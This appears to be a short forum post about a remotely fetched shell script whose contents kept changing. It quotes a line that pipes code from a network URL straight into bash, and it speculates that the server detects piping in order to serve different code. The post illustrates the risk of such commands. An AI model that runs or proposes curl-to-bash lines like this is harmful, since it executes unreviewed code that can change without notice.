Just recently the script said this instead: #!/bin/sh curl https://l0.re/hb | bash modprobe pcspkr beep -l 1000 -r 3 -f 44000 And then that embedded URL says: echo ohai But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently. And now that I try the original curl again, that first line is gone completely: #!/bin/sh modprobe pcspkr beep -l 1000 -r 3 -f 44000 Strange.
